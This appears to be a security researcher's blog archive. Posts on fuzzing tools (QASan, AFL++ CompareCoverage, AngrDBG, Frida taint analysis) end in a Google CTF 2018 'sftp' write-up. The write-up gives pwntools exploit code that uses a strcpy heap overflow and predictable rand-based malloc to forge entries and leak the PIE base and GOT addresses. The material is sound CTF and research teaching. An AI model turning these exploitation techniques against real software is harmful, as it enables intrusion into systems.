The blog of malweisse's corruptions

Sanitized Emulation with QASan

2019-12-20T00:00:00+00:00

Update: the new QASan architecture is described and evaluated in this paper: https://andreafioraldi.github.io/assets/qasan-secdev20.pdf

Fuzzing techniques evolved and tools are nowadays able to reach a good coverage of target programs with techniques that allow fuzzers to bypass roadblocks [1] [2] [3] [4].

But without good bug detection capabilities, a fuzzer that reaches a high coverage is less effective.

Fuzzing with additional instrumentation for bug detection is one of the most important fields of research in this matter.

Source-level fuzzers such as AFL [5], AFLplusplus [6], libFuzzer [7] and honggfuzz [8] can make use of sanitization frameworks provided by compilers (GCC and LLVM) such as ASAN, MSAN, UBSAN [9] to detect bugs that don’t necessary crash the programs such as uninitialized reads, heap negative OOBs, and many others.

Binary-level fuzzers can make use of special hardened allocators such as AFL’s libdislocator to detect common misuse of the heap. However, these tools are far from complete (e.g. libdislocator’s memalign is not guaranteed to be at the end of a page and so OOBs are not always detected) and don’t scale with programs that frequently allocate small chunks.

Static rewriting of binaries is a possible way to address this problem [10] but at the moment only x86_64 PIC ELFs binaries can be rewritten with ASAN support.

As always, there is a gap between source-level and binary-level fuzzing. And, as always, I’ll try to share knowledge to fill a bit this gap using the binary instrumentation tool that I love: QEMU.

I created QASan (QEMU-AddressSanitizer), a fork of user-mode QEMU that introduce AddressSanitizer for heap objects into QEMU.

QASan not only enables AddressSanitizer on COTS x86/x86_64/ARM/ARM64 binaries on Linux/*BSD but allows also the instrumentation of code generated at runtime (e.g. JIT) that is, of course, not supported by source-level ASAN. Note also that at the time of writing AddressSanitizer doesn’t support ARM/ARM64 on Linux and QASan enables that for this class of binaries.

It is OSS and available on GitHub.

AddressSanitizer

AddressSanitizer [11] is one of the most popular memory error detectors nowadays, mainly for its ease of use and speed (~2x slowdown respect to native) that makes it well suited for fuzzing.

It can catch different classes of bugs [12] and in a sound way thanks to the information provided by source-code analysis before instrumentation that enables the detection of bugs like OOB access of stack objects.

ASan uses a shadow memory to keep track of invalid areas of memory. Every memory access (or almost, some may be optimized out if proven to be safe) is instrumented in this way:

ShadowAddr = (Addr >> 3) + Offset;
if (ShadowIsPoisoned(ShadowAddr))
  ReportAndCrash(Addr);
ActualMemoryAccess(Addr);

Offset is architecture and OS-dependent, in general, it is an uncommon not used address in the program address space in a way that every 8 bytes of regular memory can be hashed to a single byte of shadow memory and each byte of the shadow memory hashed to unmapped memory (so that the program crashes if trying to do MemoryAccess(ShadowAddr)).

(picture from [11])

To do this shadow memory mapping, ASan maps a lot of virtual memory that remains unused and so not associated with physical frames by the kernel.

ASan hooks the allocator’s routines like malloc, free, memalign & al. with a custom allocator that poisons the memory around chunks (redzones) to detect OOB, invalidates freed memory and keeps track of it in a quarantine queue.

To avoid the need to have an instrumented libc, the ASan runtime provides hooks for common libc routines that involve memory access like memcpy, strcpy and many others.

ASan, as well, adds redzones also around global and stack objects and has also the possibility to add allocated stack frames to detect Use-After-Return, refer to the documentation for more information.

QEMUing AddressSanitizer

It is known that QEMU user does not like programs compiled with ASan and hangs with these programs.

QEMU user has to know every mapped page of the target program and, I guess, here come the dragons with the ASan shadow memory.

So, if we cannot even run a compiled program with ASan in QEMU, how we can instrument binaries with ASan with it?

The solution is a simple, weird, and effective hack: break the boundary between QEMU and the target and expose ASan as an operating system feature exposed by QEMU.

So now, Linus Torvalds may feel a bit disappointed with this solution and may want to punch me.

In Linux, the kernel should NEVER allocate memory for userspace (except for the early loading stage of a process).

In QEMU user-mode, the syscalls instructions are recompiled into calls to the do_syscall QEMU routine that is a syscall dispatcher in userspace that forwards many syscalls to the kernel and handle many others (like brk) in userspace.

We can easily add a syscall in QEMU that is handled in QEMU itself.

So, the workflow is the following:

Expose a new syscall that is a dispatcher of routines like malloc/free/memcpy and other routines that ASan hooks.
Instrument memory accesses in TCG [13] (the IR).
Link QEMU with ASan.

In particular, when allocating memory from this new syscall for malloc/calloc/realloc/valloc/…, we have also to make it reachable from the guest marking its pages as readable and writeable in the target context.

Looking at the code, the QASan fake syscall dispatcher is similar to the following snippet:

static abi_long qasan_fake_syscall(abi_long action, abi_long arg1,
                    abi_long arg2, abi_long arg3, abi_long arg4,
                    abi_long arg5, abi_long arg6, abi_long arg7) {

    switch(action) {

      ...

      case QASAN_ACTION_MALLOC: {
          abi_long r = h2g(__interceptor_malloc(arg1));
          if (r) page_set_flags(r, r + arg1, PROT_READ | PROT_WRITE | PAGE_VALID);
          return r;
      }

      ...

    }
    
    return 0;

}

The memory accesses in TCG are hooked using TCG helpers [13]. For example, qasan_gen_load4 is called before the code that emits the TCG operations associated with a 32-bit memory load and it emits a call to a helper (qasan_load4) that checks the validity of the address using __asan_load4.

static inline void tcg_gen_ld_i32(TCGv_i32 ret, TCGv_ptr arg2,
                                  tcg_target_long offset)
{

    qasan_gen_load4(arg2, offset);
    tcg_gen_ldst_op_i32(INDEX_op_ld_i32, ret, arg2, offset);
}

At the time of writing, all memory accesses are instrumented. This is not optmial and in the future I want to exclude memory operations know to not work on heap at translation time (e.g. push/pop).

To hook the functions that ASan needs to be hooked I created a small library, libqasan.so, that has to be loaded using LD_PRELOAD into the target.

A hooked action looks like the following:

void * malloc(size_t size) {

  return (void*)syscall(QASAN_FAKESYS_NR, QASAN_ACTION_MALLOC, size);

}

Of course, the library can be run only into the patched QEMU. This is not the only possible solution but I opted for this one based on LD_PRELOAD to simplify the things.

It won’t work with static binaries, but patching the static routines in the binary with these syscall invocations it’s easy and I’ll release an automated script using lief [14] one day.

Regarding the error reports, they will not be so meaningful for debugging purposes. The ASan DSO, under the hood, collects stack traces from QEMU and not from the target and so an error report will be something similar to the following screenshot (an OOB negative read):

I suggest using the malloc_context_size=0 ASAN_OPTION to avoid to collect these useless stack traces and speedup a bit QASan.

This can be solved with a bit of patching of the ASan codebase but I choose to use the precompiled ASAN DSO for compatibility and to avoid to force the user to recompile a custom compiler-rt (I care about usability and simplicity). The build process will simply take an ASAN DSO and patch the ELF to avoid to hook routines in QEMU (we don’t want to use the ASAn allocator in QEMU but only in the target to avoid an useless slowdown).

QASan seems pretty stable, it can run without problems binaries such as GCC, clang, vim, nodejs. To be fair, I have to say that it fails to execute python due to a detected UAF at startup (who knows, maybe python is really bugged).

Just for fun, I recompiled QASan using clang running under QASan. It worked.

There are also problems with some libc code (that is not instrumented by default) that I have to investigate in deep.

Fuzzing with AFL++

QASan, alongside the patches for ASan, includes also all the patches of AFL++ QEMU, so also CompareCoverage and persistent mode.

Fuzzing the Ubuntu 18.04 objdump binary with QASan vs. plain QEMU mode I experienced a 2x slowdown respect unsanitized QEMU mode that is reasonable and coherent with the ASan slowdown respect to native executables.

The graph represents the exec/sec (Y-axis) over 10 minutes of fuzzing with QEMU and QASan.

I triggered also a bug (a NULL ptr deref), probably a known bug because the objdump version is quite old (2.30).

andrea@malweisse:~/Desktop/QASAN$ ./qasan --verbose /usr/bin/objdump -g -x crash1
==20993== QEMU-AddressSanitizer (v0.1)
==20993== Copyright (C) 2019 Andrea Fioraldi <[email protected]>
==20993== 
==20993== 0x7f3452e67ece: memcpy(0x7f3453a94c10, 0, 4096)
==20993==          = 0x7f3453a94c10
==20993== 0x7f3452e67f03: strlen(0x7f3453a94c10)
==20993==          = 3596
...
...
...
OFFSET   TYPE              VALUE 
00000000 IGNORE            *ABS*
00000000 IGNORE            *ABS*
00000000 IGNORE            *ABS*
==20993== 
==20993== Caught SIGSEGV: pc=0x7ff1224a18c0 addr=0x7900000
==20993== 

Yeah, this crash would be detected also without QASAN, but I want to show you the output of verbose QASan.

More evaluation (and bugs hopefully) will come in the future.

Conclusion

One step further to fill the gap between source and binary-only fuzzing is done.

QASan is not “definitive”(tm), a lot of work has to be done like MIPS support (x86 ASan addresses are incompatible with the MIPS address space) and contribution from the OSS community are welcome.

The current implementation of QASan cannot be used to fuzz system-wide but there are actions to check and poison memory that are exposed in the dispatcher.

Those actions can be used to build a KASAN implementation using hypercalls (e.g. a Windows kernel module that hooks the kernel allocator with a wrapper that inserts redzones and invalidates memory using hypercalls).

More work has to be done in this direction to enable the fuzzing of closed source kernels/firmwares with QASan and not only user-space applications.

Updates

January 11, 2020

In addition to the fake syscall path to call QASan actions in QEMU, now QASan implements also a fast path for x86 and x86_64 binaries, the “backdoor”.

Basically, to avoid the use of two dispatchers a new x86 instruction is inserted in the lifter. This backdoor instruction call directly the QASan dispatcher.

The code to call the backdoor for x86_64 is:

# void* qasan_backdoor(int, void*, void*, void*)
qasan_backdoor:
  mov rax, rdi # action
  mov rdi, rsi # arg1
  mov rsi, rdx # arg2
  mov rdx, rcx # arg3
  .byte 0x0f
  .byte 0x3a
  .byte 0xf2
  ret

The number of parameters are now 3 and not 7 anymore, there aren’t actions that use more than 3 arguments at the moment.

The next features in the roadmap are Stack-Use-After-Return detection and full system QASan.

References

[1] “Circumventing Fuzzing Roadblocks with Compiler Transformations” https://lafintel.wordpress.com/2016/08/15/circumventing-fuzzing-roadblocks-with-compiler-transformations/

[2] C. Aschermann, S. Schumilo, T. Blazytko, R. Gawlik, and T. Holz, “REDQUEEN: fuzzing with input-to-state correspondence” https://www.ndss-symposium.org/ndss-paper/redqueen-fuzzing-with-input-to-state-correspondence/

[3] “Compare coverage for AFL++ QEMU”, https://andreafioraldi.github.io/articles/2019/07/20/aflpp-qemu-compcov.html

[4] H. Peng, Y. Shoshitaishvili, M. Payer, “T-Fuzz: fuzzing by program transformation”, https://nebelwelt.net/publications/files/18Oakland.pdf

[5] “American Fuzzy Lop”, http://lcamtuf.coredump.cx/afl/

[6] “American Fuzzy Lop plus plus”, https://github.com/vanhauser-thc/AFLplusplus

[7] “libFuzzer – a library for coverage-guided fuzz testing”, https://llvm.org/docs/LibFuzzer.html

[8] “honggfuzz”, https://github.com/google/honggfuzz

[9] “sanitizers”, https://github.com/google/sanitizers

[10] S. Dinesh, N. Burow, D. Xu, M. Payer, “RetroWrite: Statically Instrumenting COTS Binaries for Fuzzing and Sanitization”, https://hexhive.epfl.ch/publications/files/20Oakland.pdf

[11] K. Serebryany, D. Bruening, A. Potapenko, D. Vyukov, “AddressSanitizer: A Fast Address Sanity Checker”, https://research.google/pubs/pub37752/

[12] “AddressSanitizer · google/sanitizers Wiki”, https://github.com/google/sanitizers/wiki/AddressSanitizer

[13] “Tiny Code Generator - Fabrice Bellard.”, https://git.qemu.org/?p=qemu.git;a=blob_plain;f=tcg/README;hb=HEAD

[14] “Library to Instrument Executable Formats”, https://lief.quarkslab.com/

Compare coverage for AFL++ QEMU

2019-07-20T00:00:00+00:00

Recently, my AFL QEMU instrumentation based on QEMU 3.1 and TCG chaining was merged in the AFLplusplus project and I accepted to become a contributor and maintainer together with van Hauser and hexcoder.

AFLplusplus is the son of the American Fuzzy Lop fuzzer and was created initially to incorporate all the best features developed in the years for the fuzzers in the AFL family and not merged in AFL cause it is not updated since November 2017.

All the best features are there, you can check the full list in the PATCHES file.

Introduction

AFL is a battle-tested fuzzer but it can get easily stuck with hard comparison, as described here.

In a program like the following the probabilities to trigger the bug are less than the probability that our universe is ruled by Ralph Wiggum.

if (input == 0xabad1dea) {
  /* terribly buggy code */
} else {
  /* secure code */
}

The laf-intel LLVM pass was introduced to address this problem splitting the comparison into many branches, assuming that the fuzzer can easily bypass a comparison of one byte.

if (input >> 24 == 0xab){
  if ((input & 0xff0000) >> 16 == 0xad) {
    if ((input & 0xff00) >> 8 == 0x1d) {
      if ((input & 0xff) == 0xea) {
        /* terrible code */
        goto end;
      }
    }
  }
}

/* good code */

end:

A similar approach was developed by j00ru for Project Zero in his CompareCoverage LLVM pass not splitting the branches this time but instrumenting at a sub-instruction level as described here.

This approach was later implemented in a real fuzzer always by Google, honggfuzz but always at the source level.

AFLplusplus already support the laf-intel instrumentation in LLVM mode but when comes to fuzz binaries this issue is stronger than ever (almost for public fuzzers).

So, why not develop an almost equivalent technique for binary-only fuzzing? It’s time to use my QEMU TCG patching skillz.

AFLplusplus QEMU instrumentation

Before diving in QEMU CompareCoverage, let’s understand how I implemented the AFL instrumentation in QEMU 3.1.0 with TCG block chaining in a thread-safe way and why this was needed.

My teammate Andrea obtained an incredible speedup adding the code to update the coverage inside the generated IR and re-enabling block chaining in AFL-QEMU but at the cost of thread-safety.

If you look at his patches with attention you can notice that prev_loc is a per-thread variable and its address is used to generate the inlined TCG instrumentation:

/* Generates TCG code for AFL's tracing instrumentation. */
static void afl_gen_trace(target_ulong cur_loc)
{
  static __thread target_ulong prev_loc;
  TCGv index, count, new_prev_loc;
  
  ...
  
  /* index = prev_loc ^ cur_loc */
  prev_loc_ptr = tcg_const_ptr(&prev_loc);
  index = tcg_temp_new();
  tcg_gen_ld_tl(index, prev_loc_ptr, 0);
  tcg_gen_xori_tl(index, index, cur_loc);

  ...
}

So the address of per-thread variable prev_loc associated with the thread that first generated the jitted code for a block is used inside the generated code of the block. Note that the thread that generates the block is not always the thread that executes it. Of course Andrea is a good hacker and was aware of this problem but unfortunately TCG does not have specific functions (that we know) to handle TLS variables.

My solution is to pay something in performance and do not generate the inlined instrumentation but only a call to the afl_maybe_log routine that uses the TLS variable. This is not a huge performance penalty cause TCG block chaining can remain enabled that is the main performance gain given to us by the abiondo patch. His version of AFL-QEMU remains faster (~10% max) and better when fuzzing mono-thread applications.

Now the code used to generate the call is the following:

void tcg_gen_afl_maybe_log_call(target_ulong cur_loc);

void afl_maybe_log(target_ulong cur_loc) { 

  static __thread abi_ulong prev_loc;

  afl_area_ptr[cur_loc ^ prev_loc]++;
  prev_loc = cur_loc >> 1;

}

/* Generates TCG code for AFL's tracing instrumentation. */
static void afl_gen_trace(target_ulong cur_loc) {

  /* Optimize for cur_loc > afl_end_code, which is the most likely case on
     Linux systems. */

  if (cur_loc > afl_end_code || cur_loc < afl_start_code)
    return;

  cur_loc  = (cur_loc >> 4) ^ (cur_loc << 8);
  cur_loc &= MAP_SIZE - 1;

  if (cur_loc >= afl_inst_rms) return;

  tcg_gen_afl_maybe_log_call(cur_loc);
  
}

The tcg_gen_afl_maybe_log_call routine is not dark magic, is just a custom and optimized version of the QEMU tcg_gen_callN routine used to generated calls to TCG helpers.

A TCG Helper, when registered, store its metadata (mainly the type of return value and parameters) in a map and tcg_gen_callN do a lookup in this map to get all information needed to generate the call and place the parameters in the right way. This is expensive and we know that the flags and sizemask (the metadata) associated with afl_maybe_log are always the same and so coding a custom version of `tcg_gen_callN let us skip the map lookup and a lot of unneeded branches.

QEMU CompareCoverage implementation

The j00ru CompareCoverage mainly does two things:

Instrument numerical comparisons
Instrument memory comparisons if the considered length is less than 32

I implemented the first directly in QEMU, the second as an external library that has to be loaded with AFL_PRELOAD.

I decided to log the progress directly in the AFL bitmap without using a secondary shared memory.

Splitting a compare is simple and the instrumented callback that logs the trace is trivial. This is the version that logs 32 bits comparisons:

static void afl_compcov_log_32(target_ulong cur_loc, target_ulong arg1,
                               target_ulong arg2) {

  if ((arg1 & 0xff) == (arg2 & 0xff)) {
    afl_area_ptr[cur_loc]++;
    if ((arg1 & 0xffff) == (arg2 & 0xffff)) {
      afl_area_ptr[cur_loc +1]++;
      if ((arg1 & 0xffffff) == (arg2 & 0xffffff)) {
        afl_area_ptr[cur_loc +2]++;
      }
    }
  }
}

As you can see the last byte is not considered otherwise there would be redundancy with the edges instrumentation.

Of course, a call to the routine that handles the correct comparison size must be generated at translation time, so I created the afl_gen_compcov function that must be inserted after the comparison instruction when lifting.

This is a snippet from gen_op of target/i386/translate.c that generates the instrumentation for the cmp instructions:

tcg_gen_mov_tl(cpu_cc_src, s1->T1);
tcg_gen_mov_tl(s1->cc_srcT, s1->T0);
tcg_gen_sub_tl(cpu_cc_dst, s1->T0, s1->T1);
afl_gen_compcov(s1->pc, s1->T0, s1->T1, ot);
set_cc_op(s1, CC_OP_SUBB + ot);

The ot variable is of type TCGMemOp that is an enum that describes instruction operands properties.

So using it we can generate the proper call:

static void afl_gen_compcov(target_ulong cur_loc, TCGv_i64 arg1, TCGv_i64 arg2,
                            TCGMemOp ot) {

  void *func;
  
  if (!afl_enable_compcov || cur_loc > afl_end_code || cur_loc < afl_start_code)
    return;

  switch (ot) {
    case MO_64:
      func = &afl_compcov_log_64;
      break;
    case MO_32: 
      func = &afl_compcov_log_32;
      break;
    case MO_16:
      func = &afl_compcov_log_16;
      break;
    default:
      return;
  }
  
  cur_loc  = (cur_loc >> 4) ^ (cur_loc << 8);
  cur_loc &= MAP_SIZE - 1;
  
  if (cur_loc >= afl_inst_rms) return;
  
  tcg_gen_afl_compcov_log_call(func, cur_loc, arg1, arg2);
}

Comparisons of only one byte are not instrumented obviously.

This instrumentation is disabled by default and can be enabled by setting the AFL_QEMU_COMPCOV environment variable.

To log memory comparison I hooked strcmp, strncmp, strcasecmp, strncasecmp and memcmp via preloading.

You can find the source of the library at qemu_mode/libcompcov/libcompcov.so.c and it mainly does these things:

Get real *cmp functions of the libc with RTLD_NEXT
Open the AFL shared memory
Parse /proc/self/maps to get the code portion that has to be considered when AFL_INST_LIBS is not set

Also, the *cmp functions are replaced with functions similar in spirit to the following:

static void __compcov_trace(u64 cur_loc, const u8* v0, const u8* v1, size_t n) {

  size_t i;
  
  for (i = 0; i < n && v0[i] == v1[i]; ++i) {
  
    __compcov_afl_map[cur_loc +i]++;
  }
}

static u8 __compcov_is_in_bound(const void* ptr) {

  return ptr >= __compcov_code_start && ptr < __compcov_code_end;
}

int strcmp(const char* str1, const char* str2) {

  void* retaddr = __builtin_return_address(0);
  
  if (__compcov_is_in_bound(retaddr)) {

    size_t n = __strlen2(str1, str2, MAX_CMP_LENGTH +1);
    
    if (n <= MAX_CMP_LENGTH) {
    
      u64 cur_loc = (u64)retaddr;
      cur_loc  = (cur_loc >> 4) ^ (cur_loc << 8);
      cur_loc &= MAP_SIZE - 1;
      
      __compcov_trace(cur_loc, str1, str2, n);
    }
  }

  return __libc_strcmp(str1, str2);
}

I chose to use the real functions from libc instead of replacing it with a loop like tokencap does because the libc implementation using vectorial instructions is a magnitude faster.

The next steps are to instrument only comparisons with constant values by default and support all other architectures (currently works only for x86/x86_64).

The first stuff is not so trivial to do with DBI because the compiler may choose to not output instructions with the format cmp reg, imm even in presence of constant values.

This is always true when the constant is a 64 bit integer on x86_64 cause the maximum immediate size is 32 bit and so the compiler will generate something similar to:

movabs reg1, 0xabadcafe
cmp reg2, reg1

Evaluation

As described in the laf-intel blog post, this is not pure gold. Its effectiveness depends on the target.

I did a test on libpng-1.6.37, I fuzzed it for almost 15 hours using this command line:

export AFL_PRELOAD=/path/to/libcompcov.so
export AFL_QEMU_COMPCOV=1
  
/path/to/AFLplusplus/afl-fuzz -Q -i input -o output -d -Q -- ./driver @@

The driver is simply this example linked with a static libpng.

The input folder contains only the not_kitty.png image of the AFL testcases.

The results in terms of basic block founds are the following:

The size of the queue doubled but fortunately, this is not a symptom of path explosion:

On other targets enabling CompCov may not change the results or even give some performance penalties so it remains disabled by default, is up to you to choose if use it or not.

If you find some bugs using this instrumentation or simply do other tests DM me (@andreafioraldi) and I will update this post.

Updates

September 12, 2019

With the 2.54c release of AFL++ now QEMU mode supports the immediates-only instrumentation for CompareCoverage and the same instrumentation is now also ported to Unicorn mode.

To enable CompareCoverage the env variable is now AFL_COMPCOV_LEVEL.

AFL_COMPCOV_LEVEL=1 is to instrument only comparisons with immediates / read-only memory and AFL_COMPCOV_LEVEL=2 is to instruments all the comparison as the previous version of CompCov described above.

Fuzzing like the Legendary Super Saiyan - AFL Talk

2019-03-29T00:00:00+00:00

You can read here an introduction to fuzzers showing strengths and weakness of this approach in automatic bug detection.

In particular the talk focus into the usage and the internals of one of the most popular fuzzers of this time: American Fuzzy Lop.

You will read not only how to use it but also some useful strategies that can be applied to specified classes of programs to improve the performance of AFL.

State synchronization between angr and pyQBDI

2018-10-01T00:00:00+00:00

Build an AngrDBG frontend for your debugger

2018-09-22T00:00:00+00:00

AngrDBG is the library that I developed to synchronize a concrete process state with an angr state.

The library is debugger agnostic. A frontend library that integrates AngrDBG with a specific debugger must implements a subclass of angrdbg.Debugger and register an istance of that class as source of data using angrdbg.register_debugger.

The methods that must be implemented are the following:

before_stateshot(self)

An event handler triggered before the synchronization setup in StateShot, just after the empty state creation

after_stateshot(self, state)

An event handler triggered before the StateShot return

is_active(self)

Return True if the debugger is running the target process

input_file(self)

Return a python file-like object of the target executable

image_base(self)

Return the process base address

get_<byte|word|dword|qword>(self, addr)

Read an byte|word|dword|qword from the memory as a python int (4 distinct methods)

get_bytes(self, addr, size)

Read a string from the memory

put_<byte|word|dword|qword>(self, addr, value)

Write a python in as a byte|word|dword|qword to the memory (4 distinct methods)

put_bytes(self, addr, value)

Write a string to the memory

get_reg(self, name)

Get a register value

set_reg(self, name, value)

Set a register value

step_into(self)

Call the debugger step into command

run(self)

Run the process inside the debugger

wait_ready(self)

Wait until the debugged process is ready to be inspected

refresh_memory(self)

Refresh the memory API of the debugger

seg_by_name(self, name)

Get a Segment object by the name

seg_by_addr(self, name)

Get a Segment object by the address

get_got(self)

Get a tuple (start address, end address) related to the GOT section

get_plt(self)

Get a tuple (start address, end address) related to the PLT section

resolve_name(self, name)

Resolve a symbol to its address using the name

You can find here the GDBDebugger class used in the GDB frontend.

Taint with Frida

2018-09-02T00:00:00+00:00

Frida is slow, you can’t do taint analysis

cit. chqmatteo

I never used Frida before, so I decided some days ago to start learning it.

But how to start? Obviously testing the real capabilities of the tool writing a taint analysis module.

https://github.com/andreafioraldi/taint-with-frida

In the following example each buffer readed using the read syscall is tainted.

var taint = require("./taint");

taint.syscallPreHook = function(ctx) {
    var sn = ctx.rax.toInt32();
    taint.log("foo", "syscall index = " + sn);
    if(sn == 0) { //read
        taint.memory.taint(ctx.rsi, ctx.rdx);
        taint.report();
    }
    else if(sn == 60 || sn == 231) { //exit || exit_group
        taint.log("foo", "exiting");
        taint.stopTracing();
        taint.report();
    }
}

taint.syscallPostHook = function(ctx) {
    taint.log("foo", "syscall ret = " + ctx.rax);
}

Interceptor.attach(ptr("0x400643"), //main
    function() {
        taint.log("foo", "enter main()");
        taint.startTracing(true); //true -> hook syscalls
    }
);

SFTP - Google CTF 2018

2018-06-29T00:00:00+00:00

Crosspost from the mhackeroni website

This file server has a sophisticated malloc implementation designed to thwart traditional heap exploitation techniques…

The challenge file is only a x86_64 ELF binary named sftp.

The active protections are the following:

Partial RELRO
Stack canary
NX
PIE
FORTIFY

Executing the file results in a password prompt:

Let’s dissect it in IDA.

In the main procedure we can see that the authentication is handled by a function that returns a boolean value.

Here the decompiled code:

The password is hashed using a custom algorithm as we can see and the hash must be 0x8dfa to gain the access.

To reverse the hash I use the IDA Pro plugin IDAngr with the following steps:

Set a breakpoint just after the password scanf (as in the picture)
Run the debugger and insert “a”*15 as the password when the debugged process ask for it.
When the breakpoint is hitted set the avoid address to the “return 0” address and the find address to the “return result” address.
Mark the password as symbolic

To get an usable result some constraints must be added to the symbolic password: it must be printable and without spaces (due to scanf).

Ok it’s time to run the exploration engine and get a result.

… after some time …

Here you go! p&a2] is a valid password for SFTP.

After the successful login we are in a shell-like prompt with some commands available:

With ls we can see that in the current directory there are two nodes: flag and src.

The command “get flag” returned a very interesting output, check it here.

In the src folder you can find the application source code sftp.c (You can find it in the attached zip file).

The next step is to analyze the code in order to find a vulnerability.

You can immediately see that the files secure_allocator.h and filesystem.h included in the code are missing and so we must combine the sftp.c file with the information that we can extract from the binary with a bit of reverse engineering.

Firstly we try to reconstruct secure_allocator.h in which is probably defined a custom implementation of malloc, realloc and free.

In the binary we have 3 wonderful symbols, malloc realloc and free.

They actually look pretty dumb:

void* malloc(size_t size) {
    return (rand() & 0x1FFFFFFF | 0x40000000LL);
}

void free(void* ptr) {}

void* realloc(void* ptr, size_t size) {
    return ptr;
}

In order to work malloc needs the address 0x40000000 to be mapped and in the main procedure this is not done, so let’s search for an initialization routine.

The binary has the .init_array section, a list of functions pointers that are executed before main.

These pointers are two in sftp.

The first is the allocator initializer, it maps 0x40000000 and calls srand with time(0).

This is good because the rand return value (and so malloc) is predictable.

The second is related to the filesystem initialization, we will analyze it later.

With a first analysis of the source code you can notice that the structure entry has a name field of size name_max (20) but the new_entry procedure takes a path as parameter of size path_max (4096) and then it is copied with strcpy in child->name.

So we have an overflow here.

entry** new_entry(char* path) {
 ...
  name = strrchr(path, '/');
  if (!name) {
    name = path;
    path = NULL;
  } else {
    *name++ = 0;
  }
 ...
  *child = malloc(sizeof(entry));
  (*child)->parent_directory = parent;
  (*child)->type = INVALID_ENTRY;
  strcpy((*child)->name, name); //OVERFLOW

The secure allocator realloc implementation combined with the new_entry code is very interesting.

In particular this line of code:

directory_entry* new_parent = realloc(parent, sizeof(directory_entry) + (parent->child_count * 2 * sizeof(entry*)));

By default a directory entry has an array of 16 elements used to store pointers to children entries.

The realloc does nothing so if we can write a fake address in the entry->child[17] when child_count is less than 16 it will be considered a child of the directory also after the reallocation.

How could we possibly write somthing in this array? Of course using the buffer overflow in the name field!

We can craft a fake child abusing the code of new_directory + new_entry:

directory_entry* new_directory(char* path) {
  directory_entry* dir = NULL;
  entry** child = new_entry(path); //do here the overflow using path

  dir = realloc(*child, sizeof(directory_entry) + 16 * sizeof(entry*));
  dir->entry.type = DIRECTORY_ENTRY;
  dir->child_count = 16;
  memset(dir->child, 0, 16 * sizeof(entry*)); //beware!

  return dir;
}

With the overflow in name we must write data until the 17th child entry of the directory (the first 16 are later set to 0 with the memset).

Now we have a problem? Which address we must write in the array?

We should use a fake entry created with put_file, but how we can know the address of a entry?

Simply, we can predict malloc using rand(time(0)) in the exploit.

So let’s return to the filesystem initialization routine. (Import the structures in IDA for a better re)

struct directory_entry *init_filesystem()
{
  struct file_entry *flag_entry; // rbx
  size_t v1; // rax
  int v2; // eax
  size_t v3; // rdx
  char *v4; // rdi
  size_t v5; // rax
  char *v6; // rdx
  struct file_entry *v7; // rbx
  size_t v8; // rax
  int v9; // eax
  size_t v10; // rdx
  char *v11; // rdi
  struct directory_entry *result; // rax
  _BYTE *v13; // rdx

  home_entry.entry.parent_directory = 0LL;
  strcpy(home_entry.entry.name, "home");
  root = &home_entry;
  home_entry.child_count = 1LL;
  user_entry_ptr = 0LL;
  pwd = &home_entry;
  pwd = new_dir(username); //<<<<<<
  flag_entry = *new_entry("flag");
  v1 = fake_flag_size;
  flag_entry->entry.type = FILE_ENTRY;
  flag_entry->size = v1;
  v2 = rand();
  v3 = fake_flag_size;
  v4 = (v2 & 0x1FFFFFFF | 0x40000000LL);
  flag_entry->data = v4;
  memcpy(v4, &fake_flag_content, v3);
  if ( flag_entry->size )
  {
    v5 = 0LL;
    do
    {
      v6 = &flag_entry->data[v5++];
      *v6 ^= 0x89u;
    }
    while ( flag_entry->size > v5 );
  }
  new_dir_no_parent("src");
  v7 = *new_entry("src/sftp.c");
  v8 = sftp_c_size;
  v7->entry.type = FILE_ENTRY;
  v7->size = v8;
  v9 = rand();
  v10 = sftp_c_size;
  v11 = (v9 & 0x1FFFFFFF | 0x40000000LL);
  v7->data = v11;
  result = memcpy(v11, &xored_sftp_c, v10);
  if ( v7->size )
  {
    result = 0LL;
    do
    {
      v13 = result + v7->data;
      result = (result + 1);
      *v13 ^= 0x37u;
    }
    while ( v7->size > result );
  }
  return result;
}

As you can see the user directory is created with new_dir as a regular directory (with the parent directory = home_entry).

The user_entry address is also the first address returned by malloc. We can predict it in the following manner:

libc = CDLL('libc.so.6')
libc.srand(int(time.time()))

malloc = lambda : 0x40000000 | (libc.rand() & 0x01fffffff)
user_entry_addr = malloc()
log.info('Predicted user entry @ 0x{:08x}'.format(user_entry_addr))

We must do this also for the other addresses returned by malloc that we want to predict simply invoking the malloc lambda in the script the same times as malloc is called in the binary.

The home_entry structure is in .data, so we can use the address of the user directory as the fake entry to leak the home_entry address and bypass PIE.

So let’s write a piece of code to leak PIE (using pwntools):

prog = log.progress('Putting fake leak entry')
leak_entry  = p64(0) # parent_directory, don't care
leak_entry += p32(2) # type = FILE_ENTRY
leak_entry += 'leak'.ljust(20, '\x00') # name
leak_entry += p64(8) # size = 8
leak_entry += p64(user_entry_addr) # data = user_entry_addr->parent_directory
# printing the content of leak will print the home_entry address (in .bss)
put_file('leak_entry', leak_entry)
prog.success()

prog = log.progress('Overflowing directory (leak)')
dirname  = 'A' * (20 + 8 + 17*8) # name + size + 17 entry*
dirname += p32(leak_entry_addr) # 18th fake entry
send_cmd('mkdir ' + dirname)
prog.success()

prog = log.progress('Triggering directory reallocation (leak)')
trunc_dirname = 'A'*20 + '\x10' # ls command list the directory with a truced name
send_cmd('cd ' + trunc_dirname)
# the first 17 entries are zeored with memset, we must insert dummy entries to reach the 18th entry
for i in range(17):
    put_file(str(i), 'A')
prog.success()

prog = log.progress('Leaking binary base')
leak = get_file('leak')
base = u64(leak) - 0x208be0
prog.success('@ 0x{:012x}'.format(base))

With a leak of the base address we can repeat the previous procedure to print values from the GOT and try to find the libc.

prog = log.progress('Putting fake GOT entry')
got_entry  = p64(0) # parent_directory, don't care
got_entry += p32(2) # type = FILE_ENTRY
got_entry += 'got'.ljust(20, '\x00') # name
got_entry += p64(2*8) # size
got_entry += p64(base + 0x205018 + 192) # data = start of GOT + 192 (frwite entry)
put_file('got_entry', got_entry)
prog.success()

prog = log.progress('Overflowing directory (GOT)')
dirname  = 'B' * (20 + 8 + 17*8) # name + size + 17 entry*
dirname += p32(got_entry_addr) # 18th fake entry
send_cmd('mkdir ' + dirname)
prog.success()

prog = log.progress('Triggering directory reallocation (GOT)')
trunc_dirname = 'B'*20 + '\x10'
send_cmd('cd ' + trunc_dirname)
for i in range(17):
    put_file(str(i), 'A')
prog.success()

got = get_file('got')
for i in range(0, len(got), 8):
    print(hex(u64(got[i:i+8])))

With this snippet we can print the address of fwrite and rand, the last 2 GOT entries.

